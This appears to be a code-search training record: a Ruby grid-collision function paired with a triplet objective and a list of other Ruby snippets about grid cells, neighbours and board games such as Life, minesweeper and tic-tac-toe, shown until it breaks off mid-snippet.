def each_collision(game_object) start_x = (game_object.bb.left / @grid[0]).to_i stop_x = (game_object.bb.right / @grid[0]).to_i (start_x ... stop_x).each do |x| start_y = (game_object.bb.top / @grid[1]).to_i stop_y = (game_object.bb.bottom / @grid[1]).to_i (start_y ... stop_y).each do |y| yield @map[x][y] if @map[x] && @map[x][y] && @map[x][y] != game_object # Don't yield collisions with itself end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def scan_cells(&block)\n scan_all(cells_criteria, &block)\n end", "def from_game_object(game_object)\r\n start_x = (game_object.bb.left / @grid[0]).to_i\r\n stop_x = (game_object.bb.right / @grid[0]).to_i\r\n \r\n (start_x .. stop_x).each do |x|\r\n start_y = (game_object.bb.top / @grid[1]).to_i\r\n stop_y = (game_object.bb.bottom / @grid[1]).to_i\r\n \r\n (start_y .. stop_y).each do |y|\r\n return @map[x][y] if @map[x] && @map[x][y]\r\n end\r\n \r\n end\r\n return nil\r\n end", "def room_items(r)\n (r.z1..r.z2).each { |z|\n ((r.x1 & -16)..r.x2).step(16) { |x|\n ((r.y1 & -16)..r.y2).step(16) { |y|\n df.map_tile_at(x, y, z).mapblock.items_tg.each { |i|\n yield i if i.flags.on_ground and i.pos.x >= r.x1 and i.pos.x <= r.x2 and i.pos.y >= r.y1 and i.pos.y <= r.y2 and i.pos.z == z\n }\n }\n }\n }\n end", "def room_items(r)\n (r.z1..r.z2).each { |z|\n ((r.x1 & -16)..r.x2).step(16) { |x|\n ((r.y1 & -16)..r.y2).step(16) { |y|\n df.map_tile_at(x, y, z).mapblock.items_tg.each { |i|\n yield i if i.flags.on_ground and i.pos.x >= r.x1 and i.pos.x <= r.x2 and i.pos.y >= r.y1 and i.pos.y <= r.y2 and i.pos.z == z\n }\n }\n }\n }\n end", "def each_cell(rect)\n (rect.top_left.left..rect.top_right.left).each do |left|\n (rect.top_left.top..rect.bottom_left.top).each do |top|\n yield left, top\n end\n end\nend", "def occupied_spaces\n objects = []\n grid_iterator.each do |cell|\n objects << cell unless cell.nil?\n end\n objects\n end", "def game_over \n # all the grid's cells are full and different numbers \n end", "def each\r\n assert_exists\r\n arr_cells = cells\r\n for i in 0..arr_cells.length - 1 do\r\n yield arr_cells[i]\r\n end\r\n end", "def get_living_neighbours(cell)\n living_neighbours = []\n\n #Checking the status of neighbouring cells, with checks for cases where the cell resides on the edge of the grid.\n if cell.y < rows - 1\n neighbour = game_grid[cell.x][cell.y + 1]\n living_neighbours.push(neighbour) if neighbour.alive?\n end\n\n if cell.x < cols - 1 && cell.y < rows - 1\n neighbour = game_grid[cell.x + 1][cell.y + 1]\n living_neighbours.push(neighbour) if neighbour.alive?\n end\n\n if cell.x < cols - 1\n neighbour = game_grid[cell.x + 1][cell.y]\n living_neighbours.push(neighbour) if neighbour.alive?\n end\n\n if cell.x < rows - 1 && cell.y > 0\n neighbour = game_grid[cell.x + 1][cell.y - 1]\n living_neighbours.push(neighbour) if neighbour.alive?\n end\n\n if cell.y > 0\n neighbour = game_grid[cell.x][cell.y - 1]\n living_neighbours.push(neighbour) if neighbour.alive?\n end\n\n if cell.x > 0 && cell.y > 0\n neighbour = game_grid[cell.x - 1][cell.y - 1]\n living_neighbours.push(neighbour) if neighbour.alive?\n end\n\n if cell.x > 0\n neighbour = game_grid[cell.x - 1][cell.y]\n living_neighbours.push(neighbour) if neighbour.alive?\n end\n\n if cell.x > 0 && cell.y < rows - 1\n neighbour = game_grid[cell.x - 1][cell.y + 1]\n living_neighbours.push(neighbour) if neighbour.alive?\n end\n\n return living_neighbours\n\n end", "def hit_objects\n game_state.game_object_map.collisions_with(self)\n #[game_state.game_object_map.from_game_object(self)]\n end", "def cells_overlapping(x, y)\n cells_at_points(corner_points_of_entity(x, y)).collect {|cx, cy| at(cx, cy) }\n end", "def each_cell\n\t\teach_row do |row|\n\t\t\trow.each do |cell|\n\t\t\t\tyield cell if cell\n\t\t\tend\n\t\tend\n\tend", "def occupied_positions\n cells.select {|cell| cell.occupied?}\n end", "def cells_near cell\n near_cells = []\n CELL_NEIGHBOURHOOD.each do |state|\n c = [cell[0] + state[0], cell[1] + state[1]]\n if @cells.include? c then\n near_cells.push c\n end\n end\n return near_cells\n end", "def attack_cells(_from_cell, _chessboard)\n []\n end", "def get_cells(y_index, x_index, y_vector, x_vector, velocity)\n cells = []\n\n for i in 0 .. velocity\n x = (x_vector * i) + x_index\n y = (y_vector * i) + y_index\n if cell_in_grid(y, x)\n cells.push(OpenStruct.new(:x => x, :y => y, :val => $grid[y][x]))\n end\n\n end\n return cells\nend", "def map_in_range\n clean_grid\n UNITS.each do |unit|\n position = MAP[unit.y][unit.x]\n position.occupied = true\n if unit.team == 'G'\n position.goblin_in_grid = true\n position.up.goblin_in_range = true if position.up.type == '.'\n position.right.goblin_in_range = true if position.right.type == '.'\n position.down.goblin_in_range = true if position.down.type == '.'\n position.left.goblin_in_range = true if position.left.type == '.'\n else\n position.elf_in_grid = true\n position.up.elf_in_range = true if position.up.type == '.'\n position.right.elf_in_range = true if position.right.type == '.'\n position.down.elf_in_range = true if position.down.type == '.'\n position.left.elf_in_range = true if position.left.type == '.'\n end\n end\nend", "def render\n game_over = false\n game.grid.each do |row|\n row_output = []\n row.each do |el|\n if el.revealed\n if el.has_bomb\n el_output = \"X\"\n game_over = true\n else\n el_output = \"_\"\n el.total_num_neighbor_bombs\n #has to be changed\n #find positions of neighbors\n #ask each neighbor if has bomb\n #count total number of bombs\n #output that integer instead of flag, star, or _\n\n\n\n\n end\n else\n el_output = el.has_flag ? \"F\" : \"*\"\n end\n row_output << el_output\n end\n p row_output.join(\" \")\n end\n # call game_over method if game_over == true\n end", "def occupied_cells(x = @x, y = @y)\n x_array = (left_cell_x(x) .. right_cell_x(x)).to_a\n y_array = (top_cell_y(y) .. bottom_cell_y(y)).to_a\n x_array.product(y_array)\n end", "def occupied_cells(x = @x, y = @y)\n x_array = (left_cell_x(x) .. right_cell_x(x)).to_a\n y_array = (top_cell_y(y) .. bottom_cell_y(y)).to_a\n x_array.product(y_array)\n end", "def collide_hash_all(hash_rects)\n hash_rects.select { |key,value|\n value.collide_rect?+(self)\n }\n end", "def find_neighbors(cell)\n min_r = [0, cell.row - 1].max\n max_r = [cell.row + 1, rows - 1].min\n min_c = [0, cell.column - 1].max\n max_c = [cell.column + 1, columns - 1].min\n\n get_cells(min_r..max_r, min_c..max_c).select { |x| x unless x == cell }\n end", "def won?(board)\n # Checks all tiles in board and tracks the indexes where Xs and Os are\n x_indexes, o_indexes = [], []\n index = 0\nuntil index == 9\nboard[index] == \"X\" ? x_indexes.push(index) : (board[index] == \"O\" ? (o_indexes.push(index)) : ())\nindex += 1\n end\n\n# Checks each win_combination and selects the X or O indexes which match any of the win_combination indexes\n# If the matches include a win_combination, that combination is returned, otherwise false is returned.\n WIN_COMBINATIONS.each { |win_combination|\n x_indexes.select {|idx| win_combination.include?(idx)} == win_combination || o_indexes.select {|idx| win_combination.include?(idx)} == win_combination ? (return win_combination) : ()\n }\nreturn false\n\nend", "def live_neighbours_around_cell(cell)\n live_neighbours = []\n\n #check top cell\n if cell.x_axis > 0\n # puts \"Cell dimen1: #{cell.x_axis}:#{cell.y_axis}\"\n candidate = self.cell_grid[cell.x_axis - 1][cell.y_axis]\n # puts \"Candidate #{candidate.inspect}\"\n live_neighbours << candidate if candidate.alive?\n end\n #check right cell\n if cell.y_axis < (columns-1)\n # puts \"Cell dimen2: #{cell.x_axis}:#{cell.y_axis}\"\n candidate = self.cell_grid[cell.x_axis][cell.y_axis + 1]\n # puts \"Candidate #{candidate.inspect}\"\n live_neighbours << candidate if candidate.alive?\n end\n #check left cell\n if cell.y_axis > 0\n # puts \"Cell dimen3: #{cell.x_axis}:#{cell.y_axis}\"\n candidate = self.cell_grid[cell.x_axis][cell.y_axis - 1]\n # puts \"Candidate #{candidate.inspect}\"\n live_neighbours << candidate if candidate.alive?\n end\n # #check bottom cell\n if cell.x_axis < (rows-1)\n # puts \"Cell dimen4: #{cell.x_axis}:#{cell.y_axis}\"\n candidate = self.cell_grid[cell.x_axis + 1][cell.y_axis]\n # puts \"Candidate #{candidate.inspect}\"\n live_neighbours << candidate if candidate.alive?\n end\n # #check top left\n if cell.x_axis > 0 and cell.y_axis > 0\n # puts \"Cell dimen5: #{cell.x_axis}:#{cell.y_axis}\"\n candidate = self.cell_grid[cell.x_axis - 1][cell.y_axis - 1]\n # puts \"Candidate #{candidate.inspect}\"\n live_neighbours << candidate if candidate.alive?\n end\n # #check top right\n if cell.x_axis > 0 and cell.y_axis < (columns-1)\n # puts \"Cell dimen6: #{cell.x_axis}:#{cell.y_axis}\"\n candidate = self.cell_grid[cell.x_axis - 1][cell.y_axis + 1]\n # puts \"Candidate #{candidate.inspect}\"\n live_neighbours << candidate if candidate.alive?\n end\n # #check bottom left\n if cell.x_axis < (rows - 1) and cell.y_axis > 0\n # puts \"Cell dimen7: #{cell.x_axis}:#{cell.y_axis}\"\n candidate = self.cell_grid[cell.x_axis + 1][cell.y_axis - 1]\n # puts \"Candidate #{candidate.inspect}\"\n live_neighbours << candidate if candidate.alive?\n end\n # #check bottom right\n if cell.x_axis < (rows - 1) and cell.y_axis < (columns - 1)\n # puts \"Cell dimen8: #{cell.x_axis}:#{cell.y_axis}\"\n candidate = self.cell_grid[cell.x_axis + 1][cell.y_axis + 1]\n # puts \"Candidate #{candidate.inspect}\"\n live_neighbours << candidate if candidate.alive?\n end\n live_neighbours\n end", "def neighbor_possibilities(coords_of_neighborhood)\n coords_of_neighborhood.map do |coords|\n filled_in_board.cell_possibilities(*coords)\n end.compact\n end", "def pbEachPokemon\n for i in -1...$PokemonStorage.maxBoxes\n for j in 0...$PokemonStorage.maxPokemon(i)\n poke = $PokemonStorage[i][j]\n yield(poke,i) if poke\n end\n end\nend", "def create_uncovered_grid(game_array)\n\n uncovered_grid = game_array.dup\n\n for y in 0..uncovered_grid.length-1\n for x in 0..uncovered_grid[y].length-1\n # If current square isn't a bomb...\n if !is_bomb(uncovered_grid[y][x])\n # ...replace with number of surrounding bombs\n uncovered_grid[y][x] = count_surround_spaces(x, y, game_array)\n\n end\n\n end\n end\n\n return uncovered_grid\n\nend", "def neighbors\n neighbors = []\n for row in (x - 1)..(x + 1)\n for col in (y - 1)..(y + 1)\n if (0...FIELD_SIZE).cover?(row) && (0...FIELD_SIZE).cover?(col)\n if row != x || col != y\n neighbors.push(@battle_field[row, col])\n end\n end\n end\n end\n neighbors\n end", "def block_way(pm, all_occupied_spaces)\n pm.map do |lc|\n occupied = lc.select { |p| all_occupied_spaces.include?(p) }\n if occupied.empty?\n lc\n else\n lc.keep_if { |p| lc.index(p) <= lc.index(occupied.first) }\n end\n end\n end", "def full?(cells = @cells)\n cells.all?{|taken| taken == \"X\" || taken == \"O\"}\n end", "def draw_cell(window, cell, is_player, grid_length)\n cell_width = window.width / grid_length\n cell_draw_x = cell.grid_x * cell_width\n cell_draw_y = cell.grid_y * cell_width\n\n\n window.draw_rect(cell_draw_x, cell_draw_y, cell_width, cell_width, Gosu::Color.argb(DARK_GRAY_COLOR)) if cell.show_base_background\n\n if cell.grid_y == grid_length - 1 && cell.grid_x == grid_length - 1\n window.draw_rect(cell_draw_x + PLATFORM_MARGIN,\n cell_draw_y + PLATFORM_MARGIN,\n cell_width - + PLATFORM_MARGIN * 2,\n cell_width - PLATFORM_MARGIN * 2,\n Gosu::Color.argb(LIGHT_GREEN_COLOR))\n end\n\n if is_player\n window.draw_rect(cell_draw_x + PLAYER_MARGIN,\n cell_draw_y + PLAYER_MARGIN,\n cell_width - PLAYER_MARGIN * 2,\n cell_width - PLAYER_MARGIN * 2,\n Gosu::Color.argb(PLAYER_COLOR))\n end\n\n draw_cell_walls(window, cell, cell_width, MAZE_WALL_THICKNESS, Gosu::Color.argb(LIGHT_GRAY_COLOR))\n\nend", "def nearby_dead_cells(live_cells)\n live_cells.map { |p| neighborhood(p) }.reduce(:|) - live_cells\nend", "def explore_neighbors(neighbors)\n neighbors.each do |pos|\n row, col = pos\n next_spot = board[[row, col]]\n\n next if next_spot.explored? || next_spot.bombed? || next_spot.flagged?\n next_spot.explored = true if next_spot.adjacent_bomb_count >= 0\n\n if next_spot.adjacent_bomb_count == 0\n next_spot.explore_neighbors(next_spot.neighbors)\n end\n end\n end", "def walk_grid(g, n)\n Enumerator.new do |enum|\n 0.upto(g.size-1) do |y|\n 0.upto(g.size-1) do |x|\n x_ok = x < (g.size-n)\n y_ok = y < (g.size-n)\n enum.yield :horizontal, fetch_tuple(g, x, y, 1, 0, n) if x_ok\n enum.yield :vertical, fetch_tuple(g, x, y, 0, 1, n) if y_ok\n enum.yield :diagonal, fetch_tuple(g, x, y, 1, 1, n) if x_ok && y_ok\n end\n end\n end.lazy\nend", "def reachable_cells(x, y, world)\n visited = []\n queue = [[x, y]]\n\n while !queue.empty?\n start = queue.pop\n neighbors = DIRECTIONS.values.\n map {|d| [start[0] + d[:x], start[1] + d[:y]]}.\n select {|x,y| world[y][x] == '.' }\n new_cells = neighbors - visited\n queue = queue + new_cells\n visited.push(start)\n end\n\n visited\nend", "def adjacent_mines(row, col)\n adjacent_list = adjacent_cells(row, col)\n mine_count = 0\n adjacent_list.each do |cell|\n if cell.has_bomb\n mine_count = mine_count + 1\n end\n end\n mine_count\n end", "def get_containing(square)\n to_return = []\n square_row, square_col = @squares_to_coords[square]\n cont_row, cont_col, cont_diag1, cont_diag2 = [], [], [], []\n board_iterate do |ele, i, j|\n cont_row.push(ele) if i == square_row\n cont_col.push(ele) if j == square_col\n cont_diag1.push(ele) if i == j\n cont_diag2.push(ele) if i + j == @dim - 1\n end\n to_return.push(cont_row, cont_col, cont_diag1, cont_diag2)\n to_return\n end", "def each\n return to_enum(:each) unless block_given?\n @grid.each do |sub|\n sub.each do |cell|\n yield cell\n end\n end\n end", "def full?\n #@cells.all? {|cell| cell == \"X\" || cell == \"O\"}\n @cells.all? do |cell|\n cell == \"X\" || cell == \"O\"\n end\n end", "def attack_against_opponent(board)\n\t\tcell_found = nil\n\t\tWIN_COMBINATIONS.each do |combo|\n\t\t\thash = Hash.new\n\t\t\thash[combo[0]] = board.cells[combo[0]]\n\t\t\thash[combo[1]] = board.cells[combo[1]]\n\t\t\thash[combo[2]] = board.cells[combo[2]]\n\t\t\t# find a combination with two O and fulfill the empty\n\t\t\t# if there isn't any cell_found is false\n\t\t\tif(hash.values.count(\"O\") == 2 && hash.values.include?(\" \"))\n\t\t\t\tcell_found = hash.key(\" \")+1\n\t\t\tend\n\t\tend # end-loop\n\t\tcell_found\n\tend", "def cell_in_grid(y, x)\n return y >= 0 && x >= 0 && y < $grid.length && x < $grid.length\nend", "def know_neighbors\n bomb_neighbors = 0\n neighbor_coords = []\n rel_neighbor_coords = [[0, 1], [1, 1], [-1, 0], [-1, 1], [1, 0], [1, -1], [0, -1], [-1, -1]]\n rel_neighbor_coords.each do | coord |\n neighbor_coords << [@coords[0] + coord[0], @coords[1] + coord[1]]\n end\n neighbor_coords.select! {|pos| pos.all? { |coord| (0..8).cover? coord }}\n neighbor_coords\n end", "def spans_all_rows?(cells_list)\n cells_list.inject([]) {|rows, (_, r)| rows << r }.uniq.size == @board.size\n end", "def discover_neighborhood(object, distance)\n\t objects = ValueSet.new\n\t Roby.condition_variable(true) do |synchro, mutex|\n\t\tmutex.synchronize do\n done = false\n\t\t transmit(:discover_neighborhood, object, distance) do |edges|\n\t\t\tedges = local_object(edges)\n\t\t\tedges.each do |rel, from, to, info|\n\t\t\t objects << from.root_object << to.root_object\n\t\t\tend\n\t\t\tDistributed.update_all(objects) do\n\t\t\t edges.each do |rel, from, to, info|\n\t\t\t\tfrom.add_child_object(to, rel, info)\n\t\t\t end\n\t\t\tend\n\n\t\t\tobjects.each { |obj| Distributed.keep.ref(obj) }\n\t\t\t\n done = true\n\t\t\tsynchro.broadcast\n\t\t end\n while !done\n synchro.wait(mutex)\n end\n\t\tend\n\t end\n\n\t yield(local_object(remote_object(object)))\n\n\t Roby.synchronize do\n\t\tobjects.each { |obj| Distributed.keep.deref(obj) }\n\t end\n\tend", "def possibilities(x, y, letter)\n p = []\n for i in x-1..x+1\n for j in y-1..y+1\n # if [i, j] isn't in the grid or not on the cross center on [x, y], continue\n if ((i < 0 || i >= self.size || j < 0 || j >= self.size) || (x-i != 0 && y-j != 0) || (i == x && j == y))\n next\n end\n\n if (@grid[i][j] == letter)\n p.push({x: i, y: j})\n end\n end\n end\n return p\n end", "def delete(game_object)\r\n range_x, range_y = @game_object_positions[game_object]\r\n return unless range_x && range_y\r\n \r\n range_x.each do |x|\r\n range_y.each do |y|\r\n @map[x][y] = nil\r\n end\r\n end\r\n end", "def get_object\n next_x = @cur_x + DIRECTION[@hero_direction][0]\n next_y = @cur_y + DIRECTION[@hero_direction][1]\n return if next_x < 0 || next_x > 14 || next_y < 0 || next_y > 14\n #look at new square in room\n next_square = @room[next_x][next_y]\n if next_square == CHAR_POTION || next_square == CHAR_CHEST || next_square == CHAR_IDOL\n @room[next_x][next_y] = CHAR_FLOOR\n draw_map(next_x,next_y)\n @potions += 1 if next_square == CHAR_POTION\n @treasure += 1 if next_square == CHAR_CHEST\n @idol_found = true if next_square == CHAR_IDOL\n @stats[:experience] += 0.25\n end\n end", "def each_unknown\n 0.upto 8 do | row |\n 0.upto 8 do | col |\n index = row * 9 + col\n next if @grid[index] != 0\n box = BoxOfIndex[index]\n yield row, col, box\n end \n end \n end", "def render_grid\n\t\t@grid_w.times.with_index do |x|\n\t\t\t@grid_h.times.with_index do |y|\n\t\t\t\tif !@has_enviroment_rendered\n \t \t\trender_wall x, y if @grid[x][y]==1\n\t\t\t\tend\n\t\t \trender_player x, y if @grid[x][y]==2\n \tend\n end\n #each_cell do |x, y, v|\n # render_wall x, y if !@has_environment_rendered && v == 1 \n # render_player x, y if v == 2\n #end\n\t\t@has_enviroment_rendered = true\n\tend", "def evaluate_cell(board)\n\t\tfind_neighbors(board)\n\t\tunder_population(board)\n\t\tovercrowding(board)\n\t\tzombify(board)\n\tend", "def tick!\n to_die = []\n to_live = []\n\n @cells.each do |row|\n row.each do |cell|\n\n # Add up the number of 'alive' neighbouring cells\n live_neighbour_count = neighbours(cell.x, cell.y).select { |n| n.alive? }.count\n\n if cell.alive? and (live_neighbour_count < 2 || live_neighbour_count > 3)\n to_die << cell\n elsif cell.dead? and live_neighbour_count == 3\n to_live << cell\n end\n end\n end\n\n to_die.each { |cell| cell.die! }\n to_live.each { |cell| cell.live! }\n end", "def every(objTemplate)\n results = Array.new\n foreach(objTemplate) do |item|\n results << item if !block_given?\n results << item if block_given? && (yield item)\n end\n results \nend", "def room_with(hazard)\n for r in 0...20\n checkRoom= room(r)\n if checkRoom.has?(hazard)\n return checkRoom\n end\n end\n end", "def iterate_through_players_for(name, situation)\n game_hash.each do |location, team_data|\n team_data.each do |attribute, data|\n if attribute == :players \n data.each do |player| \n if player[:player_name] == name\n return player[situation]\n end\n end\n end\n end\n end\nend", "def each(&block)\n @cells.each(&block)\n end", "def each_bfs (option_hash={:full_traverse=>true})\n def adjust_context context, dir\n con = context.dup\n case dir\n when 0 then con[:y] += 1\n when 1 then con[:x] += 1\n when 2 then con[:y] -= 1\n when 3 then con[:x] -= 1\n end\n return con\n end\n color_list, white_list = [], []\n full_traverse = option_hash[:full_traverse] \n yield_x_range, yield_y_range = option_hash[:yield_range]\n\n # white list contains data to yield and process each pass.\n white_list << [self, {:x=>0, :y=>0}]\n color_list << self\n\n # while we still have something to act upon process it.\n # And yield the result to our block of code.\n while !white_list.empty?\n r, context = white_list.shift()\n\n yield(r, context) if yield_x_range == nil || yield_y_range == nil || (yield_x_range === context[:x] && yield_y_range === context[:y])\n\n r.each_dir do |e| \n next if full_traverse == false && (e.flags_state.is_set(:soft_door) || e.flags_state.is_set(:closed))\n if e.towards_room.gri == nil\n e.do_delete\n next\n end\n if !color_list.include?(e.towards_room.gri)\n white_list << [e.towards_room.gri, adjust_context(context, e.direction)]\n color_list << e.towards_room.gri \n end\n end\n end\n return nil\n end", "def won?(board)\n counter = 0\n WIN_COMBINATIONS.select do |potential_win_combo|\n print potential_win_combo\n print \"\\n\"\n\n potential_win_combo.select do |potential_occupied|\n if\n position_taken?(board, potential_occupied)\n puts potential_occupied\n counter += 1\n else\n puts \"no\"\n end\n end\n end\nend", "def count_surround_spaces(x, y, game_array)\n\n # Get an array of all possible surrouding squares\n spaces_to_check = generate_surrounding_spaces(x, y)\n\n bombs_counted = 0\n\n for space in spaces_to_check\n space_y = space[0]\n space_x = space[1]\n\n bombs_counted += 1 if is_bomb(game_array[space_y][space_x])\n\n end\n\n return bombs_counted\n\nend", "def pbEachNonEggPokemon\n pbEachPokemon{|pokemon,box|\n yield(pokemon,box) if !pokemon.egg?\n }\nend", "def find_winning_combinations(board,player,opponent)\n Game::WIN_COMBINATIONS.reject do | combo |\n combo.count { | position | board.cells[position]==opponent } > 0\n end\n end", "def neighbor_cells\n @neighbor_cells ||= neighbor_cell_coordinates.map do |coordinates|\n board.at(coordinates[0], coordinates[1]) if board.cell_exists?(coordinates[0], coordinates[1])\n end.compact\n end", "def cell_occupied_by?(player, x, y)\n player.x == x && player.y == y\n end", "def each_cell\n return to_enum( :each_cell ) unless block_given?\n expand( address ).flatten.each { |addr| yield Cell.new( sheet, addr ) }\n end", "def map_tile_in_rock(tile)\n (-1..1).all? { |dx| (-1..1).all? { |dy|\n t = tile.offset(dx, dy) and t.shape_basic == :Wall and tm = t.tilemat and (tm == :STONE or tm == :MINERAL or tm == :SOIL)\n } }\n end", "def try_solve(game, totmines)\n\t# First, build up a list of trivial regions.\n\t# One big region for the whole board:\n\tregions = [[totmines]]\n\tfor r in 0...game.length do for c in 0...game[0].length do\n\t\tregions[0][0] -= 1 if game[r][c] === 19\n\t\tregions[0].append([r, c]) if game[r][c] < 10\n\tend; end\n\t# And then a region for every cell we know about.\n\tnew_region = nil # Predeclare the new_region lambda?? I think this is necessary?\n\tbase_region = -> (r, c) do\n\t\treturn if game[r][c] < 10 || game[r][c] == 19\n\t\tregion = get_unknowns(game, r, c)\n\t\treturn if region.length == 1 # No unknowns\n\t\tnew_region.call(region)\n\tend\n\tnew_region = -> (region) do\n\t\tif region[0] == 0 then\n\t\t\t# There are no unflagged mines in this region!\n\t\t\tfor rc in region[1..-1] do\n\t\t\t\t# Dig everything. Whatever we dug, add as a region.\n\t\t\t\tfor dug in dig(game, rc[0], rc[1]) do\n\t\t\t\t\tbase_region.call(dug[0], dug[1])\n\t\t\t\tend\n\t\t\tend\n\t\telsif region[0] == region.length - 1 then\n\t\t\t# There are as many unflagged mines as unknowns!\n\t\t\tfor rc in region[1..-1] do\n\t\t\t\tflag(game, rc[0], rc[1]);\n\t\t\tend\n\t\telse\n\t\t\tregions.append(region)\n\t\tend\n\tend\n\tfor r in 0...game.length do for c in 0...game[0].length do\n\t\tbase_region.call(r, c)\n\tend; end\n\t# Next, try to find regions that are strict subsets of other regions.\n\tfound = true\n\twhile found do\n\t\tfound = false\n\t\tfor r1 in regions do\n\t\t\t# TODO: Don't do this quadratically. Recognize which MIGHT be subsets.\n\t\t\tr1set = r1[1..-1].to_set\n\t\t\tfor r2 in regions do\n\t\t\t\tnext if r2.length <= 1\n\t\t\t\tr2set = r2[1..-1].to_set\n\t\t\t\tnext unless r2set < r1set\n\t\t\t\tnewreg = (r1set - r2set).to_a\n\t\t\t\tnewreg.insert(0, r1[0] - r2[0])\n\t\t\t\tr1.slice!(0, r1.length) # Wipe the old region - we won't need it any more\n\t\t\t\tnew_region.call(newreg);\n\t\t\t\tfound = true\n\t\t\t\tbreak # No point scanning other r1 pairings\n\t\t\tend\n\t\tend\n\t\t# Prune the region list. Any that have been wiped go; others get their\n\t\t# cell lists pruned to those still unknown.\n\t\tscanme, regions = regions, []\n\t\tfor region in scanme do\n\t\t\tfor i in 1...region.length do\n\t\t\t\tbreak if i >= region.length # if we shorten the array, stop short\n\t\t\t\tcell = game[region[i][0]][region[i][1]]\n\t\t\t\tnext if cell < 10\n\t\t\t\tregion.slice!(i);\n\t\t\t\tregion[0] -= 1 if cell == 19\n\t\t\t\tfound = true # Changes were made.\n\t\t\tend\n\t\t\tnew_region.call(region) if region.length > 1 # Might end up being all-clear or all-mines, or a new actual region\n\t\tend\n\tend\n\treturn regions.length == 0\nend", "def is_occupied?(x, y, game)\n game.pieces.where(location_x: x, location_y: y).present?\n end", "def shared_king_squares(game_state)\n all = game_state.squares.occupied_by_piece(JustShogi::OuBase).map { |s| s.piece.base_destinations(s, game_state) }\n\n all.reduce(nil) do |memo, set|\n if memo\n memo & set\n else\n set\n end\n end\n end", "def neighbours(cell)\n\n\t\trow = cell.row\n\t\tcolumn = cell.column\n\t\tneighbours = []\n\n\t\t# Subsample eight cells adjacent to given cell\n\t\tfor i in ((row - 1)..(row + 1))\n\t\t\tfor j in ((column - 1)..(column + 1))\n\t\t\t\t# Do not include given cell in sample\n\t\t\t\tif !(i == row && j == column)\n\t\t\t\t\tneighbours << getCell(i, j)\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\t\treturn neighbours\n\tend", "def is_board_at_combo_indices?(combo)\n combo.all? do |index|\n yield(index)\n end\nend", "def potential_tiles(entity, hex)\n return [] unless (tile_ability = abilities(entity))\n\n candidates = super\n candidates << @game.osterath_tile if hex.name == 'E8' && entity == @game.konzession_essen_osterath\n return candidates if candidates.empty? || tile_ability.owner != @game.seilzuganlage\n\n potentials = @game.all_potential_upgrades(hex.tile).map(&:name)\n candidates.select { |t| @game.upgrades_to?(hex.tile, t) && potentials.include?(t.name) }\n end", "def live_neighbours_around_cell(cell)\n live_neighbours = []\n # Neighbour to the North-East\n if cell.y > 0 and cell.x < (cols - 1)\n candidate = @cell_board[cell.y - 1][cell.x + 1]\n live_neighbours << candidate if candidate.alive?\n end\n # Neighbour to the South-East\n if cell.y < (rows - 1) and cell.x < (cols - 1)\n candidate = @cell_board[cell.y + 1][cell.x + 1]\n live_neighbours << candidate if candidate.alive?\n end\n # Neighbours to the South-West\n if cell.y < (rows - 1) and cell.x > 0\n candidate = @cell_board[cell.y + 1][cell.x - 1]\n live_neighbours << candidate if candidate.alive?\n end\n # Neighbours to the North-West\n if cell.y > 0 and cell.x > 0\n candidate = @cell_board[cell.y - 1][cell.x - 1]\n live_neighbours << candidate if candidate.alive?\n end\n # Neighbour to the North\n if cell.y > 0\n candidate = @cell_board[cell.y - 1][cell.x]\n live_neighbours << candidate if candidate.alive?\n end\n # Neighbour to the East\n if cell.x < (cols - 1)\n candidate = @cell_board[cell.y][cell.x + 1]\n live_neighbours << candidate if candidate.alive?\n end\n # Neighbour to the South\n if cell.y < (rows - 1)\n candidate = @cell_board[cell.y + 1][cell.x]\n live_neighbours << candidate if candidate.alive?\n end\n # Neighbours to the West\n if cell.x > 0\n candidate = @cell_board[cell.y][cell.x - 1]\n live_neighbours << candidate if candidate.alive?\n end\n live_neighbours\n end", "def evaluate_control\n units = Set.new\n players = Set.new\n @squares = []\n\n # Look at all neighbouring squares to see which contain\n @square.neighbours_and_self.each do |neighbour|\n if neighbour.combat_unit?\n @squares << neighbour\n units << neighbour.combat_unit\n players << neighbour.combat_unit.player\n end\n end\n\n @units = units.to_a\n @players = players.to_a\n end", "def within_gridcell(*arguments, **options, &block)\n within(:gridcell, *arguments, **options, &block)\n end", "def each_cell\n @grid_w.times.with_index do |x|\n @grid_h.times.with_index do |y|\n yield x, y, @grid[x][y]\n end\n end\n end", "def all_occupied_spaces\n occupied_spaces('black') + occupied_spaces('white')\n end", "def cycle!\n cells_to_die = []\n cells_to_be_born = []\n # Iterates through all possible fields of the life surface\n width.times do |x|\n height.times do |y|\n current_cell = cells.find_cell(x,y)\n if current_cell.dead?\n #Any dead cell with exactly three live neighbours becomes a live cell, as if by reproduction.\n if current_cell.neighbours ==3\n cells_to_be_born << current_cell\n end\n else\n # Any live cell with two or three live neighbours lives on to the next generation.\n #no changes will be made to those cells\n\n # Any live cell with fewer than two live neighbours dies, as if caused by under-population.\n if (current_cell.neighbours < 2)\n cells_to_die << current_cell\n end\n\n # Any live cell with more than three live neighbours dies, as if by over-population.\n if (current_cell.neighbours > 3 )\n cells_to_die << current_cell\n end\n end\n end\n end\n\n # kills the cells\n cells_to_die.each do |cell|\n cell.dead = true\n cell.save\n end\n\n # born the cell\n cells_to_be_born.each do |cell|\n cell.dead = false\n cell.save\n end\n end", "def adjacent_mines(row, col)\n mines_nearby = 0\n range = [-1, 0, 1]\n range.each do |range_x|\n range.each do |range_y|\n x_adj = row + range_x\n y_adj = col + range_y\n if cell_exists?(x_adj,y_adj)\n mines_nearby += 1 if contains_mine?(x_adj, y_adj)\n end\n end\n end\n mines_nearby\n end", "def get_region_cells image, color, visited = [], in_region = []\n all_cells = image.all_cells\n visited << self\n visited.uniq!\n\n in_region << self if self.value == color\n in_region.uniq!\n nb = get_neighbors(image) - visited\n nb.each do |cell|\n if visited.include?(all_cells)\n break\n else\n cell.get_region_cells image, color, visited, in_region\n end\n\n end\n\n return in_region\n\n end", "def get_placed_surrounding_tiles(sur_tiles, placed_tiles)\n placed_sur_tiles = []\n sur_tiles.each do |tile|\n if placed_tiles.include?(tile)\n tile_object = self.game_tiles.where(cell: tile).first\n placed_sur_tiles << tile_object\n end\n end\n\n placed_sur_tiles\n end", "def build_potential_value_list(cells)\n cells.each do |row|\n row.each do |cell|\n # all cell except the fixed one\n next if cell.is_fixed\n\n cell.potential_value_stack = [1, 2, 3, 4, 5, 6, 7, 8, 9]\n\n # for each cell in the vertical\n cell.vertical_family.each do |c|\n cell.potential_value_stack.delete_if { |value| value == cells[c[0]][c[1]].value }\n end\n cell.horizontal_family.each 